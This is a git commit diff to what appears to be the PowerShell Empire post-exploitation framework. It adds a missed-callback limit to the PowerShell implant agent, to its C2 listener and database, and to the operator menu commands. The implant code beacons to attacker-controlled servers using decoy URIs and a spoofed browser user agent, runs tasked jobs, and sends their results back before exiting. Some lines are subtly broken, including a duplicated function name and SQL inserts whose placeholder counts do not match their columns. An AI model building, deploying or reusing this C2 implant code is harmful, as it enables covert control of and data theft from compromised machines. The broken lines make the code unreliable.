Added missed CB limits

1.6
sixdub 2015-08-09 22:18:02 -04:00
parent db1bc92296
commit 65abc684d0
7 changed files with 175 additions and 35 deletions

View File

@ -32,6 +32,9 @@ function Invoke-Empire {
.PARAMETER Epoch .PARAMETER Epoch
server epoch time, defaults to client time server epoch time, defaults to client time
.PARAMETER MissedCBLimit
The limit of the number of callbacks the agent will miss before exiting
#> #>
param( param(
@ -65,7 +68,10 @@ function Invoke-Empire {
$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", $Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
[Int32] [Int32]
$Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))) $Epoch = [math]::abs([Math]::Floor([decimal](Get-Date(Get-Date).ToUniversalTime()-uformat "%s"))),
[Int32]
$MissedCBLimit = 60
) )
############################################################ ############################################################
@ -74,6 +80,8 @@ function Invoke-Empire {
$script:AgentDelay = $AgentDelay $script:AgentDelay = $AgentDelay
$script:AgentJitter = $AgentJitter $script:AgentJitter = $AgentJitter
$script:MissedCBLimit = $MissedCBLimit
$script:MissedCB = 0
$encoding = [System.Text.Encoding]::ASCII $encoding = [System.Text.Encoding]::ASCII
@ -151,6 +159,22 @@ function Invoke-Empire {
"agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter" "agent interval delay interval: $script:AgentDelay seconds with a jitter of $script:AgentJitter"
} }
function Set-MissedCBLimit {
param([int]$l)
$script:MissedCBLimit = $l
if($l -eq 0)
{
"agent set to never die based on CB Limit"
}
else
{
"agent MissedCBLimit set to $script:MissedCBLimit"
}
}
function Get-Delay {
"agent MissedCBLimit: $script:MissedCBLimit"
}
# set the killdate for the agent # set the killdate for the agent
function Set-Killdate { function Set-Killdate {
param([string]$date) param([string]$date)
@ -882,6 +906,7 @@ function Invoke-Empire {
} }
} }
catch [Net.WebException] { catch [Net.WebException] {
$script:MissedCB+=1
# handle 403? for key-negotiation? # handle 403? for key-negotiation?
# handle host not found/reachable? # handle host not found/reachable?
# if($_.Exception -match "(403)"){ # if($_.Exception -match "(403)"){
@ -929,6 +954,34 @@ function Invoke-Empire {
exit exit
} }
if((!($script:MissedCBLimit -eq 0)) -and ($script:MissedCB -gt $script:MissedCBLimit))
{
# get any job results and kill the jobs
$packets = $null
Get-Job -name ($JobNameBase + "*") | %{
# $data = Receive-Job $_ | Select-Object -Property * -ExcludeProperty RunspaceID | fl | Out-String
# $data = Receive-Job $_ | fl | Out-String
$data = Receive-Job $_
if ($data -is [system.array]){
$data = $data -join ""
}
$data = $data | fl | Out-String
if($data){
$packets += $(Encode-Packet -type 110 -data $($data))
}
Stop-Job $_
Remove-Job $_
}
# send an exit status message and die
$msg = "[!] Agent "+$script:SessionID+" exiting: Missed CB limit reached"
Send-Message $(Encode-Packet -type 2 -data $msg)
exit
}
if($Servers[$ServerIndex].StartsWith("http")){ if($Servers[$ServerIndex].StartsWith("http")){
@ -996,14 +1049,23 @@ function Invoke-Empire {
$statusCode = [int]$_.Exception.Response.StatusCode $statusCode = [int]$_.Exception.Response.StatusCode
# TODO: handle error codes appropriately? # TODO: handle error codes appropriately?
if ($statusCode -eq 0){ if ($statusCode -eq 0){
# host unreachable... backup server? #handle a specific status code
} }
} }
# if we get data, process the packet # if we get data, process the packet
$script:MissedCB=0
Process-Tasking $data Process-Tasking $data
} }
#Check for default tasking and reset the count if it is found
elseif ($data -and ([System.Text.Encoding]::UTF8.GetString($data[0..5]) -eq "<html>"))
{
#Some page that is html, possibly the default
#TODO: Replace to check for the specific default page marker
$script:MissedCB=0
}
else { else {
# TODO: do we need to process the error? #Hmmmm?
} }
# force garbage collection to clean up :) # force garbage collection to clean up :)
[GC]::Collect() [GC]::Collect()

View File

@ -98,7 +98,7 @@ class Agents:
cur.close() cur.close()
def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours): def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours,missedCBLimit):
""" """
Add an agent to the internal cache and database. Add an agent to the internal cache and database.
""" """
@ -128,7 +128,7 @@ class Agents:
userAgent = parts[1] userAgent = parts[1]
additionalHeaders = parts[2] additionalHeaders = parts[2]
cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours)) cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID,sessionID,delay,jitter,externalIP,sessionKey,checkinTime,lastSeenTime,requestUris,userAgent,additionalHeaders,killDate,workingHours,missedCBLimit))
cur.close() cur.close()
# initialize the tasking/result buffers along with the client session key # initialize the tasking/result buffers along with the client session key
@ -1052,7 +1052,7 @@ class Agents:
dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents")
# get the staging information for the given listener, keyed by port # get the staging information for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,missed_cb_limit
config = self.listeners.get_staging_information(port=port) config = self.listeners.get_staging_information(port=port)
host = config[0] host = config[0]
stagingkey = config[3] stagingkey = config[3]
@ -1124,7 +1124,7 @@ class Agents:
counter = responsePackets[-1][1] counter = responsePackets[-1][1]
# validate the counter in the packet in the set # validate the counter in the packet in the setcode.replace
if counter and packets.validate_counter(counter): if counter and packets.validate_counter(counter):
for responsePacket in responsePackets: for responsePacket in responsePackets:
@ -1155,7 +1155,7 @@ class Agents:
dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents")
# get the staging key for the given listener, keyed by port # get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit
stagingKey = self.listeners.get_staging_information(port=port)[3] stagingKey = self.listeners.get_staging_information(port=port)[3]
# decrypt the agent's public key # decrypt the agent's public key
@ -1187,9 +1187,10 @@ class Agents:
profile = config[6] profile = config[6]
killDate = config[7] killDate = config[7]
workingHours = config[8] workingHours = config[8]
missedCBLimit = config[11]
# add the agent to the database now that it's "checked in" # add the agent to the database now that it's "checked in"
self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours) self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,missedCBLimit)
# step 4 of negotiation -> return epoch+aes_session_key # step 4 of negotiation -> return epoch+aes_session_key
clientSessionKey = self.get_agent_session_key(sessionID) clientSessionKey = self.get_agent_session_key(sessionID)
@ -1218,7 +1219,7 @@ class Agents:
decoded = helpers.decode_base64(parts[1]) decoded = helpers.decode_base64(parts[1])
# get the staging key for the given listener, keyed by port # get the staging key for the given listener, keyed by port
# results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,missed_cb_limit
config = self.listeners.get_staging_information(host=decoded) config = self.listeners.get_staging_information(host=decoded)
else: else:
@ -1229,6 +1230,7 @@ class Agents:
profile = config[6] profile = config[6]
killDate = config[7] killDate = config[7]
workingHours = config[8] workingHours = config[8]
missedCBLimit = config[11]
# get the session key for the agent # get the session key for the agent
sessionKey = self.agents[sessionID][0] sessionKey = self.agents[sessionID][0]
@ -1272,7 +1274,7 @@ class Agents:
dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents")
# step 6 of negotiation -> server sends patched agent.ps1 # step 6 of negotiation -> server sends patched agent.ps1
agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate, workingHours) agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,missedCBLimit)
username = str(domainname)+"\\"+str(username) username = str(domainname)+"\\"+str(username)
@ -1289,7 +1291,7 @@ class Agents:
# set basic initial information to display for the agent # set basic initial information to display for the agent
agent = self.mainMenu.agents.get_agent(sessionID) agent = self.mainMenu.agents.get_agent(sessionID)
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","missed_cb_limit","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"]
agentInfo = dict(zip(keys, agent)) agentInfo = dict(zip(keys, agent))
for key in agentInfo: for key in agentInfo:

View File

@ -776,6 +776,45 @@ class AgentsMenu(cmd.Cmd):
else: else:
print helpers.color("[!] Invalid agent name") print helpers.color("[!] Invalid agent name")
def do_changelostlimit(self, line):
"Task one or more agents to 'changemisslimit [agent/all] <#ofCBs> '"
parts = line.strip().split(" ")
if len(parts) == 1:
print helpers.color("[!] Please enter a valid '#ofCBs'")
elif parts[0].lower() == "all":
MissedCBLimit = parts[1]
agents = self.mainMenu.agents.get_agents()
for agent in agents:
sessionID = agent[1]
# update this agent info in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
# task the agent
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
# extract the sessionID and clear the agent tasking
sessionID = self.mainMenu.agents.get_agent_id(parts[0])
MissedCBLimit = parts[1]
if sessionID and len(sessionID) != 0:
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, sessionID)
self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
self.mainMenu.agents.save_agent_log(sessionID, msg)
else:
print helpers.color("[!] Invalid agent name")
def do_killdate(self, line): def do_killdate(self, line):
"Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)." "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."
@ -981,6 +1020,10 @@ class AgentsMenu(cmd.Cmd):
return self.complete_clear(text, line, begidx, endidx) return self.complete_clear(text, line, begidx, endidx)
def complete_changelostlimit(self, text, line, begidx, endidx):
"Tab-complete a sleep command"
return self.complete_clear(text, line, begidx, endidx)
def complete_killdate(self, text, line, begidx, endidx): def complete_killdate(self, text, line, begidx, endidx):
"Tab-complete a killdate command" "Tab-complete a killdate command"
@ -1185,6 +1228,21 @@ class AgentMenu(cmd.Cmd):
msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
self.mainMenu.agents.save_agent_log(self.sessionID, msg) self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_changelostlimit(self, line):
"Task an agent to change the limit on missed CBs"
parts = line.strip().split(" ")
if len(parts) > 0 and parts[0] != "":
MissedCBLimit = parts[0]
# update this agent's information in the database
self.mainMenu.agents.set_agent_field("missed_cb_limit", MissedCBLimit, self.sessionID)
self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_SHELL", "Set-MissedCBLimit " + str(MissedCBLimit))
# update the agent log
msg = "Tasked agent to change callback limit " + str(MissedCBLimit)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_kill(self, line): def do_kill(self, line):
"Task an agent to kill a particular process name or ID." "Task an agent to kill a particular process name or ID."

View File

@ -42,7 +42,7 @@ class Listeners:
# set the initial listener config to be the config defaults # set the initial listener config to be the config defaults
self.conn.row_factory = dict_factory self.conn.row_factory = dict_factory
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port FROM config") cur.execute("SELECT staging_key,default_delay,default_jitter,default_profile,default_cert_path,default_port,default_missed_cb_limit FROM config")
defaults = cur.fetchone() defaults = cur.fetchone()
cur.close() cur.close()
self.conn.row_factory = None self.conn.row_factory = None
@ -84,6 +84,11 @@ class Listeners:
'Required' : True, 'Required' : True,
'Value' : defaults['default_jitter'] 'Value' : defaults['default_jitter']
}, },
'DefaultMissedCBLimit' : {
'Description' : 'Number of missed callbacks before exiting',
'Required' : True,
'Value' : defaults['default_missed_cb_limit']
},
'DefaultProfile' : { 'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.', 'Description' : 'Default communication profile for the agent.',
'Required' : True, 'Required' : True,
@ -118,7 +123,7 @@ class Listeners:
""" """
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners") cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners")
results = cur.fetchall() results = cur.fetchall()
cur.close() cur.close()
@ -271,7 +276,7 @@ class Listeners:
try: try:
# get the listener information # get the listener information
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerId) [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = self.get_listener(listenerId)
listenerId = int(ID) listenerId = int(ID)
@ -305,7 +310,7 @@ class Listeners:
if nameid : listenerId = nameid if nameid : listenerId = nameid
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=?", [listenerId]) cur.execute("SELECT id,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=?", [listenerId])
listener = cur.fetchone() listener = cur.fetchone()
cur.close() cur.close()
@ -399,20 +404,20 @@ class Listeners:
if(listenerId): if(listenerId):
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID]) cur.execute('SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE id=? or name=? limit 1', [listenerID, listenerID])
stagingInformation = cur.fetchone() stagingInformation = cur.fetchone()
cur.close() cur.close()
elif(port): elif(port):
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE port=?", [port]) cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE port=?", [port])
stagingInformation = cur.fetchone() stagingInformation = cur.fetchone()
cur.close() cur.close()
# used to get staging info for hop.php relays # used to get staging info for hop.php relays
elif(host): elif(host):
cur = self.conn.cursor() cur = self.conn.cursor()
cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target FROM listeners WHERE host=?", [host]) cur.execute("SELECT host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit FROM listeners WHERE host=?", [host])
stagingInformation = cur.fetchone() stagingInformation = cur.fetchone()
cur.close() cur.close()
@ -511,6 +516,7 @@ class Listeners:
workingHours = self.options['WorkingHours']['Value'] workingHours = self.options['WorkingHours']['Value']
listenerType = self.options['Type']['Value'] listenerType = self.options['Type']['Value']
redirectTarget = self.options['RedirectTarget']['Value'] redirectTarget = self.options['RedirectTarget']['Value']
defaultMissedCBLimit = self.options['DefaultMissedCBLimit']['Value']
# validate all of the options # validate all of the options
if self.validate_listener_options(): if self.validate_listener_options():
@ -537,7 +543,7 @@ class Listeners:
return False return False
cur = self.conn.cursor() cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
# get the ID for the listener # get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name]) cur.execute("SELECT id FROM listeners where name=?", [name])
@ -558,7 +564,7 @@ class Listeners:
# add the listener to the database if start up # add the listener to the database if start up
cur = self.conn.cursor() cur = self.conn.cursor()
results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget] ) results = cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", [name, host, port, certPath, stagingKey, defaultDelay, defaultJitter, defaultProfile, killDate, workingHours, listenerType, redirectTarget,defaultMissedCBLimit] )
# get the ID for the listener # get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [name]) cur.execute("SELECT id FROM listeners where name=?", [name])
@ -593,7 +599,7 @@ class Listeners:
else: else:
# get the existing listener options # get the existing listener options
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = self.get_listener(listenerName) [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,defaultMissedCBLimit] = self.get_listener(listenerName)
cur = self.conn.cursor() cur = self.conn.cursor()
@ -604,7 +610,7 @@ class Listeners:
pivotHost += internalIP + ":" + str(listenPort) pivotHost += internalIP + ":" + str(listenPort)
# insert the pivot listener with name=sessionID for the pivot agent # insert the pivot listener with name=sessionID for the pivot agent
cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name] ) cur.execute("INSERT INTO listeners (name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target,default_missed_cb_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)", [sessionID, pivotHost, listenPort, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, "pivot", name,defaultMissedCBLimit] )
# get the ID for the listener # get the ID for the listener
cur.execute("SELECT id FROM listeners where name=?", [sessionID]) cur.execute("SELECT id FROM listeners where name=?", [sessionID])

View File

@ -126,7 +126,7 @@ def display_agents(agents):
print " --------- ----------- ------------ --------- ------- ----- --------------------" print " --------- ----------- ------------ --------- ------- ----- --------------------"
for agent in agents: for agent in agents:
[ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version] = agent [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, missed_cb_limit] = agent
if str(high_integrity) == "1": if str(high_integrity) == "1":
# add a * to the username if it's high integrity # add a * to the username if it's high integrity
username = "*" + username username = "*" + username
@ -146,7 +146,7 @@ def display_agent(agent):
""" """
# extract out database fields. # extract out database fields.
keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version"] keys = ["ID", "sessionID", "listener", "name", "delay", "jitter", "external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "MissedCBLimit"]
print helpers.color("\n[*] Agent info:\n") print helpers.color("\n[*] Agent info:\n")
@ -173,7 +173,7 @@ def display_listeners(listeners):
for listener in listeners: for listener in listeners:
[ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target] = listener [ID,name,host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_missed_cb_limit] = listener
if not host.startswith("http"): if not host.startswith("http"):
if cert_path and cert_path != "": if cert_path and cert_path != "":
@ -216,7 +216,7 @@ def display_listener_database(listener):
Transforms the tuple set to an options dictionary and calls display_listener(). Transforms the tuple set to an options dictionary and calls display_listener().
""" """
[ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget] = listener [ID,name,host,port,certPath,stagingKey,defaultDelay,defaultJitter,defaultProfile,killDate,workingHours,listenerType,redirectTarget, defaultMissedCBLimit] = listener
options = { options = {
'ID' : { 'ID' : {
@ -259,6 +259,11 @@ def display_listener_database(listener):
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'DefaultMissedCBLimit' : {
'Description' : 'Number of missed callbacks before exiting',
'Required' : True,
'Value' : ''
},
'DefaultProfile' : { 'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.', 'Description' : 'Default communication profile for the agent.',
'Required' : True, 'Required' : True,
@ -299,6 +304,7 @@ def display_listener_database(listener):
options['WorkingHours']['Value'] = workingHours options['WorkingHours']['Value'] = workingHours
options['Type']['Value'] = listenerType options['Type']['Value'] = listenerType
options['RedirectTarget']['Value'] = redirectTarget options['RedirectTarget']['Value'] = redirectTarget
options['DefaultMissedCBLimit']['Value'] = defaultMissedCBLimit
display_listener(options) display_listener(options)

View File

@ -163,13 +163,12 @@ class Stagers:
return randomizedStager return randomizedStager
def generate_agent(self, delay, jitter, profile, killDate, workingHours): def generate_agent(self, delay, jitter, profile, killDate, workingHours, missedCBLimit):
""" """
Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. Generate "standard API" functionality, i.e. the actual agent.ps1 that runs.
This should always be sent over encrypted comms. This should always be sent over encrypted comms.
""" """
f = open(self.installPath + "./data/agent/agent.ps1") f = open(self.installPath + "./data/agent/agent.ps1")
code = f.read() code = f.read()
f.close() f.close()
@ -177,10 +176,11 @@ class Stagers:
# strip out comments and blank lines # strip out comments and blank lines
code = helpers.strip_powershell_comments(code) code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, and comms profile # patch in the delay, jitter, missed CB limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$MissedCBLimit = 60', "$MissedCBLimit = " + str(missedCBLimit))
# patch in the killDate and workingHours if they're specified # patch in the killDate and workingHours if they're specified
if killDate != "": if killDate != "":

View File

@ -61,6 +61,9 @@ IP_WHITELIST = ""
# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 # format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8
IP_BLACKLIST = "" IP_BLACKLIST = ""
#number of times an agent will call back without an answer prior to exiting
DEFAULT_MISSED_CB_LIMIT = 60
################################################### ###################################################
@ -90,11 +93,12 @@ c.execute('''CREATE TABLE config (
"install_path" text, "install_path" text,
"server_version" text, "server_version" text,
"ip_whitelist" text, "ip_whitelist" text,
"ip_blacklist" text "ip_blacklist" text,
"default_missed_cb_limit" integer
)''') )''')
# kick off the config component of the database # kick off the config component of the database
c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST)) c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_MISSED_CB_LIMIT))
c.execute('''CREATE TABLE "agents" ( c.execute('''CREATE TABLE "agents" (
"id" integer PRIMARY KEY, "id" integer PRIMARY KEY,
@ -124,7 +128,8 @@ c.execute('''CREATE TABLE "agents" (
"functions" text, "functions" text,
"kill_date" text, "kill_date" text,
"working_hours" text, "working_hours" text,
"ps_version" text "ps_version" text,
"missed_cb_limit" integer
)''') )''')
c.execute('''CREATE TABLE "listeners" ( c.execute('''CREATE TABLE "listeners" (
@ -140,7 +145,8 @@ c.execute('''CREATE TABLE "listeners" (
"kill_date" text, "kill_date" text,
"working_hours" text, "working_hours" text,
"listener_type" text, "listener_type" text,
"redirect_target" text "redirect_target" text,
"default_missed_cb_limit" integer
)''') )''')
# type = hash, plaintext, token # type = hash, plaintext, token